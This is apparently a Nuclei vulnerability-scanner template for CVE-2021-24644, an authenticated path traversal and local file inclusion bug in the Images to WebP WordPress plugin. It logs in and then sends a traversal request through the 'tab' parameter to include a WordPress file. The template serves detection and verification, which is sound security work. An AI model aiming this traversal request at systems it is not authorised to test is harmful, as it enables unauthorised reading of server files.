id: CVE-2021-24644

info:
  name: Images to WebP < 1.9 - Authenticated Local File Inclusion
  author: Sourabh-Sahu
  severity: high
  description: |
    The Images to WebP WordPress plugin before version 1.9 did not validate or sanitize the tab parameter before using it in the include() function.
  impact: |
    Authenticated attackers can read arbitrary local files from the server via path traversal, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: Fixed in 1.9
  reference:
    - https://wpscan.com/vulnerability/5a363eeb-9510-4535-97e2-9dfd3b10d511/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24644
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24644
    cwe-id: CWE-22
    epss-score: 0.30489
    epss-percentile: 0.96778
    cpe: cpe:2.3:a:imagestowebp_project:images_to_webp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: imagestowebp_project
    product: images_to_webp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/images-to-webp/"
  tags: wpscan,cve,cve2021,wordpress,wp-plugin,images-to-webp,lfi,authenticated,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php?page=images-to-webp.php&tab=..%2F..%2F..%2F..%2Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "wp-links-opml", "Images to WebP")
          - regex('[A-Za-z]{3}, [0-9]{2} [A-Za-z]{3} 20[0-9]{2}', body)
        condition: and
# digest: 490a004630440220668b4d51009ad812ac25277ebc97410d4d557b100571e9f3ed4184e5acdeecfd0220205c64eda045b6f982200214d0d8670652c9d3a7a7470f84e36fa28353780554:922c64590222798bb761d5b6d8e72950